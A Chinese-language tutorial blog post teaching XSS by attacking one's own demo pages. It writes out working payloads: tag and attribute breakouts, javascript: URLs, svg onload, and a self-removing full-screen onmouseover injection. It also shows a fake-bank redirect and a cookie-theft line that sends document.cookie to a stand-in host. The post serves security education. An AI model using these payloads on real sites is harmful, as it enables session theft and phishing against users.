[XSS 1] 從攻擊自己網站學 XSS (Cross-Site Scripting)
防止 XSS 的心態: Don’t trust user input/request 任何輸入都有可能是危險的! 輸入框包含網址列、input、任何可以讓使用者更動網頁內容的地方
Understanding Frontend Security 系列文
1. 簡單弄懂同源政策 (Same Origin Policy) 與跨網域 (CORS) 2. [XSS 1] 從攻擊自己網站學 XSS (Cross-Site Scripting) 3. [XSS 2] 如何防禦 XSS 攻擊 4. Content Security Policy (CSP) — 幫你網站列白名單吧 5. [CSRF] One click attack: 利用網站對使用者瀏覽器信任達成攻擊
XSS (Cross-Site Scripting) 列入 OWASP 網頁安全漏洞前十大排名，而且是個跟前端有絕對有關係的安全問題，這篇就要來寫就算網站有同源政策的保護 [延伸閱讀: 簡單弄懂同源政策與跨網域]，但還是會被 XSS 攻擊的故事。
什麼是 XSS 呢？之前在 幼幼班也能懂的 OWASP TOP 10 有圖文解釋過，這邊就不再重覆說，簡單來說就是利用使用者對網站的信任達成攻擊
當網站沒有做好的驗證，就可以讓駭客輕易輸入惡意程式碼在網站上，就像埋下一個地雷，讓點擊到該網站的其他使用者受到攻擊
🔖 文章索引
1. XSS Attacks from HTML Element
2. XSS Attacks from HTML Attribute
3. XSS Attacks from URLs
4. Level Up 你的攻擊技能
5. 附註: alert 有很可怕嗎? 常見的 XSS 攻擊手法有哪些?我也很推薦以下影片，用很簡單例子解釋 XSS
攻擊一個網站需要高超的技術在身上嗎？其實比想像中容易很多，身為一個網站工程師，若相關資安知識不夠也很容易寫出一個漏洞百出的網站。這一篇會有大量範例從攻擊中學 XSS，也期待有這些知識後的前端工程師能寫出更安全的網站。
小試身手
某功能要求印出使用者打入 input 的內容
若使用者輸入 Hannah，就會印出 Howdy, Hannah; 若輸入 Amy 就會印出 Howdy, Amy。看起來相當容易，讓我們用純 JS 來實現
看起來沒啥問題，但發現若連 HTML Tag 都打進 input
竟然也可以被輸出耶！太神奇了。喔不這一點都不神奇是你寫的 code 太爛了留下弱點，讓 Attacker 可以用此弱點攻擊你 !
網站是由 HTML、Javascript、CSS 所組成，所以只要網站提供給 Users 能 “互動” 的地方，也就是動態可以被變更的區域就有可能暗藏地雷引發資安風險 (常見的互動是利用網址列或 input 改變網頁內容或 HTML Attribute)，接下來就讓我們盡情攻擊 ?!
只要能讓範例執行 alert(1) 就算攻擊成功
Note.會以
alert(1)代表惡意程式因為他最簡單，別小看alert，alert可以被任意執行代表 Attcker 可以用 js 注入你的網頁做任何可怕的事 。我也會在此篇最底下附註 XSS 可以做哪些壞事
XSS Attacks from HTML Element
利用使用者可以改變 HTML 的內容來攻擊網站
- Feature: 文字區塊可以印出使用者打入 input 的內容，練習請點此
讓我們試著輸入一些 html tag 看看能不能攻擊！例如 </textarea><script>alert(1)</script> ，果然成功 😈
XSS Attacks from HTML Attribute
利用使用者可以改變 HTML 的屬性 (attribute)來攻擊網站
- Feature:標題的屬性
title會隨著使用者打入 input 而做更新，練習請點此
一樣打入一些 script 試試：”><script>alert(1)</script> 😈
XSS Attacks from URLs
利用使用者可以改變 url來攻擊網站
- Feature: 輸入連結就會新增連結在下面，練習請點此
你會發現沒辦法用 /><script>alert(1)</script> ，因為他會被自動轉成字串。但是，你可用你我都熟悉的 javascript:alert(1) 內建方法 😈
- Feature: 更新網址列的 query 可以進而更新 HTML，練習請點此
看起來就是網址列的 query 有什麼就可以印下什麼，那我們就直接來 <svg onload=alert(1)> 😈
Level Up 你的攻擊技能
Attacker 的目標: 善用 Event Handlers 神不知鬼不覺的迅速達成攻擊
1. Execute Quickly 迅速達成攻擊
越快讓使用者觸發 Attacker 藏的炸彈越好，怎麼說呢，先來問問讀者，以下行為哪一個會最快被使用者觸發到？
- 使用者點擊 (eg.
onClick、Link) 觸發alert() - 滑鼠移動網頁 (eg.
onmouseover) 觸發alert() - 載入網頁時 (eg.
onload) 觸發alert()
當然是 3 最快，因為使用者只是進入這網頁什麼都還沒做時，Attacker 就可以做壞壞的事了
2. Remain Undetected 神不知鬼不覺
若攻擊如下一樣明顯，那使用者一看就知道有詐，網站工程師也會趕快去修復這個安全漏洞(除非他就是想故意破壞這個網站為目的)。
而厲害的 Attacker 會神不知鬼不覺進行攻擊，取得越多受害者越好。壞壞的事都在背後執行，光看網站 UI 察覺不出什麼的。
- Feature: 點 Share the page 就會導入到別網站分享此篇文章，練習請點此
會發現 data-url 反應網址列，所以若把網址改成 https://medium.com/?q=hannah ，data-url 也會變 https://medium.com/?q=hannah
所以當你加上 query 在網址列#”onclick=”alert()，會發現 <small>element 也被夾上 onclick 的屬性了，這時一但使用點擊，Bomb 😈
恩，但不是每一個使用者都會點擊那個連結啊，要怎麼實現 神不知鬼不覺的迅速達成攻擊 呢？
既然我們可以輕鬆去改變 <small> 的 attribute，代表我們也可以改變他的 style 啊，inline style 對前端工程師來說應該輕鬆
所以我們可以把 Share this Page 這個地雷用 inline css 放大到整個畫面，這樣使用者只要滑鼠移動就會觸發地雷攻擊。
url 會 encoding 的一些特殊符號，例如想要 width: 100% 要寫成 width:100%25 因為 % 在 url 有別的意義，不過這邊不詳細說明。加上以下 query 輕易攻擊使用者 😈
#"onmouseover="alert() "style=position:fixed;top:0;left:0;width:100%25;height:100%25;若想要達成 Remain Undetected 神不知鬼不覺，也可以繼續加上以下，讓這攻擊只觸發一次，使用者還是可以繼續使用網站絲毫不會發現機密資訊已被偷
this.removeAttribute('onmouseover');this.removeAttribute('style')附註: alert 有很可怕嗎? 常見的 XSS 攻擊手法有哪些?
alert 可以被任意執行代表 Attcker 可以用 js 注入你的網頁做任何可怕的事，畢竟網頁就是由 HTML + JS 組成，而 JS 可以做的事可多了，你可以增加區塊刪除東西甚至偷別人銀行 cookie 把他錢通通領走 。
Redirect 攻擊
把你導向一個釣魚網站，例如假的銀行網站，讓你在不知情狀況下輸入帳號密碼，也把帳號密碼送給了駭客
<script>
window.location='http://www.fakeBank.com'
</script>Virtual Site Defacement 攻擊
破壞你的網站，基本上 XSS 可以做的事真的超多。可以插入一堆奇怪東西讓網站無法被使用
<script>
for(let i = 0; i < 100; i++){
alert('BOMB')
}
</script>Cookie 竊取 (Cookie Theft)
<script>document.location='http://dobadthing.com?c='+document.cookie;</script>把使用者導向 dobadthing.com 得同時也把使用者 cookie 送到 dobadthing.com ，所以讓駭客可以得到使用者珍貴的 cookie 進而做壞壞的事
Reference
- chef secure: 範例大部分來自此網站，而且講師實在太幽默，讓人學 XSS 感覺一點都不無聊
- xss Game: 想試更多 XSS 可以到這邊玩
